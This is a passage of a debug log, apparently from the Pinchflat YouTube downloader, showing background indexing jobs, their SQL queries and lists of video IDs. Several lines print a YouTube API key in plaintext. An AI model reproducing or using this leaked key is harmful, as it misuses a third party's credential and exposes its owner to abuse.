"LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 17:25:45.556 [debug] QUERY OK source="media_items" db=0.9ms idle=184.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:25:45.557 [debug] QUERY OK source="tasks" db=0.2ms idle=185.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268470, 16, ~U[2026-10-09 22:25:45Z], ~U[2026-10-09 22:25:45Z]] 17:25:45.557 [info] {"args":{"id":16},"id":5268431,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186863,"event":"job:stop","queue_time":475611,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:45.563 [info] {"args":{"id":5},"id":5268432,"meta":{},"system_time":1791584745563210386,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:45.563 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:25:45.563 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.563 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:45.564 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.564 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:25:45.564 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.564 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:45.745 [debug] QUERY OK source="media_items" db=0.6ms idle=181.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 17:25:45.749 [debug] QUERY OK source="media_items" db=3.1ms idle=182.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:25:45.749 [debug] QUERY OK source="tasks" db=0.1ms idle=185.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268471, 5, ~U[2026-10-09 22:25:45Z], ~U[2026-10-09 22:25:45Z]] 17:25:45.750 [info] {"args":{"id":5},"id":5268432,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186729,"event":"job:stop","queue_time":492427,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:45.960 [info] {"source":"oban","duration":9726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:46.371 [info] {"args":{"id":28},"id":5268433,"meta":{},"system_time":1791584746371273043,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:46.371 [debug] QUERY OK source="sources" db=0.1ms idle=621.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:25:46.371 [debug] QUERY OK source="settings" db=0.0ms idle=615.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:46.372 [debug] QUERY OK source="media_profiles" db=0.6ms idle=411.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:46.372 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:46.372 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:25:46.372 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:46.372 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:46.543 [debug] QUERY OK source="media_items" db=0.7ms idle=171.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 17:25:46.544 [debug] QUERY OK source="media_items" db=0.4ms idle=172.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:25:46.545 [debug] QUERY OK source="tasks" db=0.1ms idle=172.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268472, 28, ~U[2026-10-09 22:25:46Z], ~U[2026-10-09 22:25:46Z]] 17:25:46.545 [info] {"args":{"id":28},"id":5268433,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173948,"event":"job:stop","queue_time":423429,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:47.372 [info] {"args":{"id":20},"id":5268434,"meta":{},"system_time":1791584747372189826,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:47.372 [debug] QUERY OK source="sources" db=0.1ms idle=827.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:25:47.372 [debug] QUERY OK source="settings" db=0.1ms idle=827.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:47.372 [debug] QUERY OK source="media_profiles" db=0.1ms idle=821.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:47.373 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:47.373 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:25:47.373 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:47.373 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:47.555 [debug] QUERY OK source="media_items" db=0.7ms idle=182.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 17:25:47.556 [debug] QUERY OK source="media_items" db=0.4ms idle=183.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:25:47.557 [debug] QUERY OK source="tasks" db=0.1ms idle=184.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268473, 20, ~U[2026-10-09 22:25:47Z], ~U[2026-10-09 22:25:47Z]] 17:25:47.557 [info] {"args":{"id":20},"id":5268434,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185314,"event":"job:stop","queue_time":480631,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:48.374 [info] {"args":{"id":43},"id":5268435,"meta":{},"system_time":1791584748374421976,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:48.374 [debug] QUERY OK source="sources" db=0.2ms idle=817.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:25:48.375 [debug] QUERY OK source="settings" db=0.0ms idle=817.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.375 [debug] QUERY OK source="media_profiles" db=0.1ms idle=811.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:48.375 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.375 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:25:48.375 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.375 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:48.644 [debug] QUERY OK source="media_items" db=0.6ms idle=268.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", 